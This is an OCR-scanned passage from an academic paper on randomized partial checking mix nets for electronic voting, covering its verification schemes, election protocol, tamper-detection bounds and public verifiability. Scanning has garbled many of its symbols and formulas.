random seed @ in this manner is to achieve 
public verifiability for the mix scheme, as we 
discuss later. 


For each server S;, a seed Q, derived from 
Q can be used to determine what challenges 
the server needs to answer. Here, Q); may be 
computed straightforwardly using an appro- 
priate hash function h. We might, for exam- 


ple, compute Q; = h(Q, J). 


We next assume the use of two predicates 
Prn and Pox that determine which inputs 
and outputs should have their input/output 
correspondences revealed. More precisely: 


e If Pin(Q;, &) is true, then server S; must 
reveal the input/output pair containing 
Cee27 as Input: 


e If Pout(Q;,7) is true, then server S; must 
reveal the input/output pair containing 
Ci; as output. 


(A correspondence may be revealed be- 
cause either because Py, specifies it, or be- 
cause Poy: specifies it.) Any other in- 
put/output correspondences should not be 
revealed. These predicates may also depend 
on other global parameters. For example, 
there may be a global selection probability 
p that is intended to specify the fraction of 
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correspondences to be revealed. For some 
versions of our scheme it may be that P,, 
is always false, or that Po. is always false. 
(That is, the pairs to be opened may be en- 
tirely specified by their input positions, or by 
their output positions.) 


We next present two variations on the de- 
tails; the second scheme is the one we favor. 


4.3 Scheme One — Independent 
Random Selections 


In this scheme, server S; furnishes a com- 


mitment PC” on mappings from outputs to 


inputs. When input/output relations are re- 
vealed here, Pyn is always false, and Po,; is 
true with probability p. (Imagine, say, p = 
1/2.) For example, we might have Pou:(Q;,7) 
true whenever the low-order bit of h(Q,,7) is 
one, for a specified pseudo-random hash func- 
tion h. 


When ¢ is large enough, with high proba- 
bility every path from an initial input Co 
to the corresponding final output C;, will be 
“broken” (contain some unrevealed link). 


orp 12, if 


+o (2) 


then the chance that there exists some final 
output that can be linked to its initial input 
is less than e. 


We note that if a final output can not be 
linked to its initial input, then there are at 
least n/2 inputs from which it could have 
been produced. ‘Thus, the ambiguity of the 
input corresponding to a given output may 
extend over n/2 elements, rather than the full 
n elements. For many practical applications, 
such as voting, this should be acceptable. 


This scheme works fine, but takes more 
rounds (a larger value of t) than we would 
prefer. For example, with n = 4096 and 
e« = 2-24 we need ¢ > 36 rounds. It might 
in practice be necessary to use the available 
servers in some sort of “round-robin” fashion 
to achieve the necessary number of rounds. 


4.4 Scheme Two —- Pairwise De- 
pendent Selections 


In scheme two, adjacent servers are 
“paired”, letting each server be a member 
of exactly one such pair (see Figure 1). In 
particular, we assume an even number ¢ of 
servers, and regard each pair of adjacent odd 
and even-numbered servers as a cohesive unit. 
When servers reveal input/output relations, 
the two servers in a pair each reveal non- 
overlapping sets of such relations. For sim- 
plicity of analysis, we assume p = 1/2 here. 
This is to say that each server in a pair re- 
veals half of its input/output pairs on aver- 
age, and the other server reveals the comple- 
mentary half, i.e., the relations not revealed 
by its twin. (Of course, neither server would 
make its revalations until both of them have 
committed to their outputs. ) 


In this scheme, each odd-numbered server 
S; publishes a commitment r’™ on the 
mapping from input elements to output ele- 
ments; conversely, each even-numbered server 
S; publishes a commitment ie i on the 
mapping from output elements to input el- 


ements. 


Let us now specify the process for reveal- 
ing input/output relations. Suppose that 
(S;,5;41) is a server pair, where 7 is odd. 


‘Then 


e Pin(Q;,k) is always false. 


Pout(Q;,%) is true with probability 1/2. 


Py (Qi2);7) 1s true: i> and: only if 
Fout(Q;, 2) is false. 


Pout(Qj41,/) is always false. 


The privacy guarantee of this variant is 
based on a simple observation: Provided that 
a (passive) adversary controls only a minor- 
ity of the servers, there is at least one server 
pair that is entirely honest. Thus, suppose 
that the adversary is given complete side in- 
formation regarding all input/output corre- 
spondences for all servers other than this hon- 
est pair. Then in the view of the adversary, 
every voter input is mixed uniformly with a 
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known half of the other inputs. It follows that 
for any input value, the adversary can at best 
identify the corresponding output value with 
probability 2/n. (This assumes ideal cipher 
characteristics. Under normal computational 
hardness assumptions on the underlying ci- 
pher, the adversary has some additional, neg- 
ligible advantage.) This holds no matter how 
many servers there are, i.e., irrespective of t, 
so long as at least ¢/2-+ 1 servers are honest. 


In the context of an election, this privacy 
guarantee is quite satisfactory from a prac- 
tical perspective. Stated loosely, it specifies 
that any ballot is hidden among those of half 
of the electorate. Provided we are willing to 
accept this guarantee, rather than full hiding, 
this proposal presents attractively practical 
functionality. 


5 Electronic Voting Based on 
RPC mix nets 


We are now ready to sketch a simple elec- 
tion scheme using an RPC mix net. 


System Setup. Herein, the authorities se- 
lect mix servers, publish the public keys of 
these, certify voters, and distribute appropri- 
ate protocols, which are assumed to be certi- 
fled and correct. 


Ballot Preparation and Encryption. 
Each voter V; prepares his plaintext ballot 
B;. He then computes a ciphertext Cig = 
Epx(B;). Voter V; signs Cio with his own 
private signing key and posts it to the bul- 
letin board. 


Each voter prepares his or her ballot by en- 
crypting the value that encodes the ballot us- 
ing the public key(s) of the authorities. This 
may be done by sequential encrypting using 
the public keys of the participating servers, 
starting with the last one in the mix net — 
here, the encryption may either be a plain 
asymmetric encryption, or a hybrid encryp- 
tion. We refer to [14] for a description of 
hybrid encryption techniques. Alternatively, 
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the encryption may be performed using the 
public key of the authorities. As noted ear- 
lier, the encryption technique used should be 
“plaintext-aware.” 


Initial Ballot Checking. When the bal- 
loting phase is closed, all servers check the va- 
lidity of the posted ciphertexts, elimating by 
consensus any ciphertexts that are ill-formed. 
They also eliminate any duplicate ciphertexts 
(preserving only the first posted copy). With- 
out loss of generality, we let this result in n 
well-formed ciphertexts. 


Permutation Commitment. Each server 
S; selects a permutation 7; on n elements 
uniformly at random. ‘The server publishes to 
the bulletin board a commitment to 7, either 


lee or Tyee (depending on our choice of 
mix variant and the parity of 7). 


Mix Net Processing. At this point, each 
server 5; in turn accepts n input ciphertexts 
{ Gig cg: The server applies X; to each of 
them, permutes the resulting ciphertexts ac- 
cording to 7;, and outputs the result to the 
bulletin board, along with a digital signature 
thereon. 


Correctness Check. ‘The operation of the 
mix servers is verified as previously outlined. 


If any server is found to have cheated, and 
the mixing is based on re-encryption, then 
the corrupted server is either emulated or 
replaced. In the latter case, the protocol 
is restarted at the beginning of the mixing 
stage; in the former at the stage of the em- 
ulated server. If the mixing is based on de- 
cryption, then the cheater is emulated. 


If re-encryption mixing is used, then the 
outputs of the last mix server are decrypted 
at the end of the correctness check, assuming 
this succeeds. ‘The decryption typically would 
be performed by a quorum of servers of the 
authority sharing its secret key. (Note that 
these may be different from the mix servers 
as long as they collectively trust that a suf- 
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ficient number of mix servers were honest.) 
Each decryption would be associated with a 
publicly verifiable proof of correct decryption 
(which typically means a proof of correct ex- 
ponentiation.) 


Ballot Decryption. Once the mixing op- 
eration is complete, the holders of SK (the 
mix servers or some other entities) jointly de- 
crypt all output ciphertexts, yielding the full 
list of plaintext ballots, if applicable. 


Boundary Check. ‘The authorities deter- 
mine the minimum number of ballots that 
would have to change in order to alter the 
outcome of the election, given the tally out- 
put at the end of the correctness check stage. 
They then compute the probability that this 
number of ballots could have been altered by 
cheaters, without these being detected. 


In particular, suppose that alteration of at 
least & ballots would have been necessary to 
affect the election outcome. That is, « is one- 
half the difference in vote count between the 
winner and the runner-up, rounded up. The 
authorities estimate the probability that an 
adversary could have manipulated & ballots 
without detection. (We give a bound on this 
probability for our proposal! below.) 


If this estimate represents an acceptable 
failure probability (which we expect to be al- 
most always the case), then the mix servers 
proceed to the endorsement phase; otherwise 
they invoke an alternative mix net on the 
same inputs with a stronger guarantee of cor- 
rectness. 


Endorsement. If both the correctness 
check and the boundary check succeeds, then 
the output is considered valid. The values 
needed for publicly performing the correct- 
ness check are published along with the fi- 
nal tally. (The initial contents of the bulletin 
board are assumed to already be public.) Ev- 
erybody can perform the verifications of the 
correctness check (including the potential de- 
cryption verifications at its end); and then 
verify that the boundary conditions are sat- 
isfied. 


5.1 Boundary probability 


To compute boundary probabilities for our 
scheme, let us consider a centralized adver- 
sary, i.e., one that is capable of coordinating 
(in a static manner) the actions of a minority 
of servers and an arbitrary number of vot- 
ers. All other servers and voters are assumed 
to be honest. Given no evidence of cheating, 
the question we aim to answer is this: What 
is the probability that the adversary could 
have altered votes in such a way that the 
apparent election outcome is not the correct 
one? For simplicity of presentation, we focus 
our analysis here on our second protocol vari- 
ant involving “paired” servers, and assume a 
re-encryption mix with correct decryption of 
output ciphertexts. As a further simplifying 
assumption, we regard the underlying cipher 
and commitment schemes as “ideal”, i.e., as 
providing information theoretic security. For 
p = 1/2, we make the following claim: 


Claim 1. Suppose that the adversary alters 
elements in the mix such that the observed 
election tally differs by & votes from the cor- 
rect one. Then the probability that the ad- 
versary goes undetected is at most 1/2". 


Proof 1. (Sketch.) Now let us first con- 
sider a server S; such that 7 is odd, i.e., the 
first server in a pair. For such a server, let 
us define the antecedent of an output cipher- 
text Cy; to be an input ciphertext C;,j;-1 
with the following properties: (1) Cz; rep- 
resents a valid re-encryption of C;,;-1; and 
7; is a commitment to the value 77;(1) = k. 
Observe that S; cannot successfully open the 
input/output relationship for a given output 
ciphertext without a correct antecedent. 


Now consider a server S; such that 7 is 
even, i.e., the second server in a pair. For 
such a server, let us define the successor of 
an input ciphertext C;,;-1 to be an output 
ciphertext C,,; with the following properties: 
(1) Cx; represents a valid re-encryption of 
Ci,;-1 and 7, is a commitment to the value 
m= *(k) = 1. Observe that S; cannot success- 
fully open the input/output relationship for 
an input without a correct successor. 
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We refer to a ciphertext that lacks a cor- 
rect antecedent or lacks a correct successor 
as a dud. Based on our definitions of an- 
tecedents and successors, a dud must be an 
“intermediate” ciphertext, i.e., the output of 
an odd-numbered server or, equivalently, the 
input of an even-numbered one. A given dud 
will be detected with probability at least 1/2, 
as either its antecedent or successor must be 
checked. It may also be seen in our scheme 
that duds are checked independently, i.e., as 
independent events. 


Let us consider “paired” servers (S;,5;+41). 
Suppose that the input and output cipher- 
texts to this pair of servers differ in at least 
K;,;41 values. More precisely, suppose that 
any one-to-one mapping f from outputs to 
inputs excludes at least K,,;4; output ele- 
ments. It may be seen there exists such a 
one-to-one mapping f that includes at least 
one distinct input/output pair of ciphertexts 
for every intermediate ciphertext that is not 
a dud. Therefore, there are at least K, 541 
duds among the intermediate ciphertexts. It 
is-cleat that isc eo aaa 
(Intuitively, the total number of altered ci- 
phertexts at each server pair cannot exceed 
the number of ciphertexts altered across the 
entire mix network.) Therefore, there are at 
least « duds among the intermediate cipher- 
texts published by all server pairs. Since each 
dud is detected independently with probabil- 
ity at least 1/2, the claim follows. O 


Example 1. Given an output tally of 46 
Republican votes and 54 Democratic votes in 
a small election, authorities would conclude 
that in the worst case, an attacker might have 
swung the election through manipulation of a 
minimum of four initially Republican votes. 
(This would be possible, for example, if the 
true tally were 50 Democratic vs. 50 Repub- 
lican, for example.) By Claim 1, the prob- 
ability that an adversary might have swung 
the election is at most 1/16. 


Example 2. While the correctness assur- 
ance in the above example is very low, a 
more realistic example gives a substantially 
lower adversarial success probability. Let us 
consider the recent U.S. Presidential election 
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in Florida which yielded a tally with some 
2,910,074 votes for Bush and some 2,909,114 
votes for Gore [1]. For these tallies to be pro- 
duced from ballots in which there was an ex- 
act tie or in which Gore obtained more votes, 
a minimum of 480 votes would have to be ma- 
nipulated. By Claim 1, the probability of this 
would be at most 2~4°°, which is truly neg- 
ligible and far smaller than the probability 
of breaking a typically parameterized crypto 
system. 


In typical circumstances, Claim 1 repre- 
sents an overestimate of the success proba- 
bility of such an attacker. In particular, our 
computation here assumes that the attacker 
alters ballots in the optimal way. This is pos- 
sible for an adversary corrupting the first few 
servers if voters register with their parties 
— otherwise, the adversary could only guess 
what ballots to alter. 


6 Public Verifiability 


To define the property of public verifiabil- 
ity in a mix network, we require a stronger 
adversarial model than for our definitions of 
privacy or correctness. In particular, we must 
assume an adversary that potentially controls 
all servers and all voters. This is an unreal- 
istically pessimistic assumption, but aims to 
characterize the security of the mix scheme in 
the worst case. 


In defining public verifiability, we consider 
a verification function, which we denote by 
ver, that is efficiently computable by any en- 
tity, whether or not the entity participates in 
the mixing process. Input to ver includes the 
contents of the bulletin board at the conclu- 
sion of the mixing process; in particular, it in- 
cludes the set of ciphertexts input to the mix 
network Cyr, = {Co,i}%_1, the set of output ci- 
phertexts Cour = {Ct,i:}7_,, and all commit- 
ments, input/output relationships, and other 
evidence published by all servers. The func- 
tion ver outputs “correct” if the output of the 
mix network is a correct representation of the 
input, or appears to be such; it outputs “in- 
correct” otherwise. 
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The standard definition of public verifiabil- 
ity states, loosely speaking, that a mix net- 
work is publicly verifiable if for some ver- 
ification function ver, the adversary cannot 
feasibly produce input that falsely yields the 
output “correct”. In other words, an adver- 
sary should not be able to spoof a verification 
function ver into accepting a “mismatched” 
pair (Cr,;Cout); i.e. a pair such ‘that the 
set of plaintexts corresponding to Couz is not 
equal to that corresponding to Cyn. 


Our scheme achieves a somewhat weaker 
version of public verifiability. An adversary 
with full control of all players in our scheme 
can, strictly speaking, cause (with some prob- 
ability) a verification function ver to accept 
a mismatched pair (Cr;,,Cout). What such 
an adversary cannot do, however, is create a 
sizable discrepancy between inputs and out- 
puts to the mix network. More precisely, we 
show that in order to alter x posted votes 
in an election scheme with high probability, 
the adversary must perform computational 
effort roughly 2”. In consequence, our scheme 
provides public assurance that no adversary 
could have feasibly altered, say, 160 votes in 
the election. (Furthermore, we know that it 
is infeasible to modify even a much smaller 
number of votes if not all mix servers collude 
— this provides further reassurance of the cor- 
rectness in case of narrow margins.) 


Recall that all the servers have to commit 
to their permutations, as well as to their por- 
tion of what determines the challenges. This 
efficiently makes the protocol deterministic 
after it has begun, and makes it impossible 
for a colluding set of servers to select permu- 
tatations so that only “clean” elements will 


be verified. 


Furthermore, recall that servers reveal in- 
put/output relations according to a random 
seed (). This seed is computed by applying a 
hash function h to the contents of the bulletin 
board after all mixing has taken place (but 
prior to verification, of course). Modeling h 
as a random oracle, we may assume that for 
every attempt on the part of the adversary 
to produce a transcript that spoofs the verifi- 
cation function, the adversary must make an 
oracle call to determine what challenges the 
servers respond to. We consider a verifica- 


tion function ver that checks all revealed in- 
put/output relations in the obvious manner. 
Given this model, and assuming p = 1/2, we 
make the following claim. 


Claim 1 Suppose that an adversary with full 
control of all servers and voters wishes to gen- 
erate a pair (Cin,Cour) and bulletin board 
contents, 1.e., server transcripts, with the fol- 
lowing property. The set of plaintexts corre- 
sponding to Cy, differs from that correspond- 
ing to Coyt by at least k, but ver outputs “cor- 
rect”. Withq queries to the oracle, the adver- 
sary will be successful with probability at most 
q2-“, for a number of queries q to the ran- 
dom oracle. 0 


Given this claim, we may state as a rough rule 
of thumb that the results of an election are 
publicly verifiable in a meaningful way if the 
winner leads by a margin of at least 160 votes. 
In this case, an adversary that performs com- 
putation 2°° (more precisely, makes 2°° oracle 
calls) has success probability at most 27°. 
In a practical setting, however, this security 
analysis is rather conservative. It may be re- 
laxed somewhat under assumptions such as 
the following. 


1. Many voters are honest: If a voter does 
not collaborate with the adversary, then 
her ciphertext randomizes Q in a man- 
ner previously unpredictable to the ad- 
versary. In consequence, the adversary 
can only make useful oracle queries dur- 
ing the interval of time between the last 
vote posted by an honest voter and the 
time that the tally is output. This places 
a practical restriction on the amount 
of computing power the adversary can 
bring to bear on manipulation of the 
election since it forces the adversary to 
commence the attack after the ” honest 
vote(s)” have been colleted, and thereby 
prevents a ” pre-computation attack.” 


2. The election includes many ballots: A 
second practical security against attacks 
is obtained by forcing the recomputata- 
tion of long hashes in order to succeed 
with an attack. Namely, recall that the 
full contents of the bulletin board must 
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be hashed using A in order to compute 
the seed Q. In a large election, there- 
fore, an oracle query is an expensive op- 
eration. This restricts (by some medium- 
sized factor) the number of oracle queries 
an adversary with a given amount of 
computing power can make. 


Of course, if the tally yielded by our scheme 
involves too small a margin of victory to en- 
sure public verifiability, it is always possible 
to apply a different and more expensive, but 
publicly verifiable mix network to the posted 
votes, e.g., [10, 16]. 


7 Discussion 


The most significant advantage of the mix 
scheme we propose here is that the proofs are 
exceptionally simple; they merely involve re- 
vealing the randomizing factors for the ran- 
domized encryption operations. No zero- 
knowledge proofs are required. The scheme 
is therefore exceptionally efficient. 


With use of a Chaumian mix net, the bal- 
lots may have arbitrary size or content. We 
may have write-in votes, or large ballots, 
without difficulty. 


An adversary controlling some minority 
group of servers may try to replace k bal- 
lots with its own substitutes. Given p = 1/2, 
the chance of the adversary succeeding with- 
out detection is at most 1/2”. Thus trying to 
cheat by more than a ballot or two is risky. A 
cheating server must either confess to cheat- 
ing or (equivalently) fail to produce a required 
proof. The penalties for cheating would be so 
severe as to preclude the attempt. 


In summary, we believe that RPC mix nets 
are an interesting and practical approach for 
obtaining voter anonymity in an electronic 
voting system. 
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